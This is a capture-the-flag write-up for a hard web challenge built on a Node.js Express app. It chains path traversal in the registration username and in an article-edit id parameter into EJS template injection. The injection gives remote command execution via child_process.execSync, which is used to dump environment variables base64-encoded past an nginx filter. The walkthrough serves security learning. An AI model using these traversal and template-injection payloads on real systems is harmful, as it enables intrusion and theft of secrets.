Challenge Description

  • Difficulty : Hard
  • Points : 400
  • Categoty : Web

Source Code

  • File and directory structure of given source code.

Source Code Structure

  • index.js
const express = require("express");
const cookieParser = require("cookie-parser");
const sessions = require('express-session');
const body_parser = require("body-parser");
const multer = require('multer')
const crypto = require("crypto")
const path = require("path");
const fs = require("fs");
const utils = require("./utils");

const app = express();

app.set('view engine', 'ejs');
app.set('views', './views');
app.disable('view cache');

app.use(sessions({
    secret: crypto.randomBytes(64).toString("hex"),
    cookie: { maxAge: 24 * 60 * 60 * 1000 },
    resave: false,
    saveUninitialized: true
}));
app.use('/static', express.static('static'))
app.use(body_parser.urlencoded({ extended: true }));
app.use(cookieParser());

const upload = multer();

app.get("/", (req, res) => {
    const article_paths = fs.readdirSync("articles");
    let articles = []
    for (const article_path of article_paths) {
        const contents = fs.readFileSync(path.join("articles", article_path)).toString().split("\n\n");
        articles.push({
            id: article_path,
            date: contents[0],
            title: contents[1],
            summary: contents[2],
            content: contents[3]
        });
    }
    res.render("index", {session: req.session, articles: articles});
})

app.get("/article", (req, res) => {
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
    try {
        const contents = fs.readFileSync(article_path).toString().split("\n\n");
        const article = {
            id: article_path,
            date: contents[0],
            title: contents[1],
            summary: contents[2],
            content: contents[3]
        }
        res.render("article", { article: article, session: req.session, flag: process.env.FLAG });
    } catch {
        res.sendStatus(404);
    }
})

app.get("/login", (req, res) => {
    res.render("login", {session: req.session});
})

app.get("/register", (req, res) => {
    res.render("register", {session: req.session});
})

app.post("/register", (req, res) => {
    const username = req.body.username;
    const result = utils.register(username);
    if (result.success) res.download(result.data, username + ".key");
    else res.render("register", { error: result.data, session: req.session });
})

app.post("/login", upload.single('key'), (req, res) => {
    const username = req.body.username;
    const key = req.file;
    const result = utils.login(username, key.buffer);
    if (result.success) { 
        req.session.username = result.data.username;
        req.session.admin = result.data.admin;
        res.redirect("/");
    }
    else res.render("login", { error: result.data, session: req.session });
})

app.get("/logout", (req, res) => {
    req.session.destroy();
    res.redirect("/");
})

app.get("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
    try {
        const article = fs.readFileSync(article_path).toString();
        res.render("edit", { article: article, session: req.session, flag: process.env.FLAG });
    } catch {
        res.sendStatus(404);
    }
})

app.post("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    try {
        fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));
        res.redirect("/");
    } catch {
        res.sendStatus(404);
    }
})

app.listen(3000, () => {
    console.log("Server running on port 3000");
})
  • utils.js
const sqlite = require("better-sqlite3");
const path = require("path");
const crypto = require("crypto")
const fs = require("fs");

const db = new sqlite(":memory:");

db.exec(`
    DROP TABLE IF EXISTS users;

    CREATE TABLE IF NOT EXISTS users (
        id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
        username   VARCHAR(255) NOT NULL UNIQUE,
        admin      INTEGER NOT NULL
    )
`);

register("jimmy_jammy", 1);

function register(username, admin = 0) {
    try {
        db.prepare("INSERT INTO users (username, admin) VALUES (?, ?)").run(username, admin);
    } catch {
        return { success: false, data: "Username already taken" }
    }
    const key_path = path.join(__dirname, "keys", username + ".key");
    const contents = crypto.randomBytes(1024);
    fs.writeFileSync(key_path, contents);
    return { success: true, data: key_path };
}

function login(username, key) {
    const user = db.prepare("SELECT * FROM users WHERE username = ?").get(username);
    if (!user) return { success: false, data: "User does not exist" };

    if (key.length !== 1024) return { success: false, data: "Invalid access key" };
    const key_path = path.join(__dirname, "keys", username + ".key");
    if (key.compare(fs.readFileSync(key_path)) !== 0) return { success: false, data: "Wrong access key" };
    return { success: true, data: user };
}

module.exports = { register, login };
  • edit.ejs
<!doctype html>
<html>
    <%- include('head.ejs') %>
    <body class="text-dark bg-light">
        <%- include('navbar.ejs') %>
        <div class="container my-5 px-5">
          <h3 class="text-center">Welcome jimmy_jammy, your flag is</h3>
          <p class="mb-5 text-center"><%= flag %></p>
          <h3>Meanwhile, please feel free to edit your article</h3>
          <form method="POST">
            <textarea class="form-control mb-3" rows="15" name="article"><%= article %></textarea>
            <button type="submit" class="btn btn-dark w-100">Save Changes</button>
          </form>
        </div>
        <%- include('scripts.ejs') %>
    </body>
</html>

Walkthrough

We are given the complete source code of the challange and is a Node.js application with Express JS templates. Below are the first observations after reviewing the code.

  • There is only one admin user in the application - jimmy_jammy as indicated in the utils.js
  • Any other user attempting to register will automatically be a normal user.
  • The registration and login is not password based and is based on some key generated cryptographically.
  • The registration page asks only for a username and we cannot specify admin user jimmy_jammy as username as he is already registered.
  • The generated keys are stored in the keys folder with format username.key.
  • Article edit functionality only available for admin user.
  • It would seem that once we get edit permissions as an admin user, we would get the flag as indicated by the below lines in edit.ejs template. But this is not the case and the reason we will see later.
<html>
    <%- include('head.ejs') %>
		<!-- code trimmed for brevity -->
          <h3 class="text-center">Welcome jimmy_jammy, your flag is</h3>
          <p class="mb-5 text-center"><%= flag %></p>
          <h3>Meanwhile, please feel free to edit your article</h3>
		<!-- code trimmed for brevity -->
        <%- include('scripts.ejs') %>
    </body>
</html>

Vulnerability #1 - Path Traversal via Username

During registration, the application asks only for username. Upon registration, keys are generated for the user and is stored under keys directory as username.key. The username is user controllable and is not sanitized when writing the key file to the disk. Meaning we can specify ../ to go out of the keys directory and write the key file anywhere in the webroot.

function register(username, admin = 0) {
    try {
        db.prepare("INSERT INTO users (username, admin) VALUES (?, ?)").run(username, admin);
    } catch {
        return { success: false, data: "Username already taken" }
    }
    const key_path = path.join(__dirname, "keys", username + ".key");
    const contents = crypto.randomBytes(1024);
    fs.writeFileSync(key_path, contents);
    return { success: true, data: key_path };
}

How can I use this to my advantage to login as jimmy_jammy?. What happens if I specify the following string as username during the registration process?.

  • Registration username : ../keys/jimmy_jammy

When the backend code checks if username already exists, it would return false since ../keys/jimmy_jammy != jimmy_jammy. However, when writing the key file to the disk, we would overwrite the user jimmy_jammy’s key.

const key_path = path.join(__dirname, "keys", username + ".key");

// __dirname + 'keys' + '../keys/jimmy_jammy' + '.key'

This will give us the admin user jimmy_jammy’s key and can be used to login as the admin user which will give us edit privilges.

Registering new user with username ../keys/jimmy_jammy:

Register 01

The response from server contains the key for admin user jimmy_jammy.

Admin Key

Logging in as admin user.

Admin Login

Now we are logged in as admin user jimmy_jammy and we have edit privileges.

Admin Home

Now we should have been able to view the flag on the edit page.

Edit Page

Vulnerability #2 - Path Traversal via id Parameter

While reviewing the code, it can be seen that all the endpoints which requires the id parameter accepts only integer values for it as it goes through parseInt(). However, there is an exception, which is when saving an edited article.

  • In GET request to /article?id=, the id parameter is parsed as an integer.
app.get("/article", (req, res) => {
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
	// code trimmed for brevity
})
  • In GET request to /edit?id=, the id parameter is parsed as an integer.
app.get("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    const id = parseInt(req.query.id).toString();
    const article_path = path.join("articles", id);
	// code trimmed for brevity
})

When saving an article there is no validation on the id parameter. This means that we can do path traversal via id URL parameter when saving and overwrite any file within the webroot.

app.post("/edit", (req, res) => {
    if (!req.session.admin) return res.sendStatus(401);
    try {
        fs.writeFileSync(path.join("articles", req.query.id), req.body.article.replace(/\r/g, ""));
        res.redirect("/");
    } catch {
        res.sendStatus(404);
    }
})

The following POST request is sent when the admin user saves an edited page.

Article Save Request

How can we use the path traversal on the id parameter to our advantage.?

When inspecting the views directory, it can be seen that the scripts.ejs file does not contain much and is included in every other template.

  • scripts.ejs
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>

We can overwrite the scripts.ejs file with the following POST request. The template payload will calculate result of 7*7 and will show in all pages where scripts.ejs template is included.

POST /edit?id=../views/scripts.ejs 

article=<%= 7*7 %>

Template Injection 01

When we reload the home page, it can be seen that we have the result of 7*7 at the bottom of the page.

Template Injection 02

Now that we can execute code via templates, I used the following POST request to gain system command execution.

POST /edit?id=../views/scripts.ejs 

article=<%= process.mainModule.require('child_process').execSync('ls -l /') %>

RCE 01

Now the scripts.ejs file contains the following template:

  • <%= process.mainModule.require('child_process').execSync('ls -l /') %>

Now if we visit the home page and scroll down the page, we see the contents of the root directory /.

RCE 02

Now to get the flag we just need to show the environment varaibles. We can overwrite scripts.ejs with following data to do the same.

  • <%= process.mainModule.require('child_process').execSync('env') %>

However, to my surpise I dont see the flag in the response and instead I see oof, that was close, glad i was here to save the day.

Env No Flag

To understand why this was happening and why I was not able to view the flag in the article edit page, further investigation was required.

Everything became clear when inspecting the nginx.conf file.

  • nginx.conf
server {
        listen 80 default_server;
        listen [::]:80 default_server;

        server_name _;

        location / {
			# Replace the flag so nobody steals it!
            sub_filter 'placeholder_for_flag' 'oof, that was close, glad i was here to save the day';
            sub_filter_once off;
            proxy_pass http://localhost:3000;
        }
}
Syntax: 	sub_filter string replacement;
Default: 	—
Context: 	http, server, location

sub_filter - Sets a string to replace and a replacement string. The string to replace is matched ignoring the case

So in our case, it is crystal clear that if flag is present in any response, it will be replaced by the string oof, that was close, glad i was here to save the day.

This means that the FLAG is indeed present in env variables and is being replaced by the nginx sub_filter directive when showing to end user.

To bypass this, we can just base64 encode the output of the env command as follows.

  • <%= process.mainModule.require('child_process').execSync('env | base64') %>

Env Flag

Now the output contains the base64 encoded version of the env command and would contain our intact FLAG.

Env Flag Decoded

Flag: BlackHatMEA{196:16:6598 3fcc21b89a19c527a84b561199886012bbfd}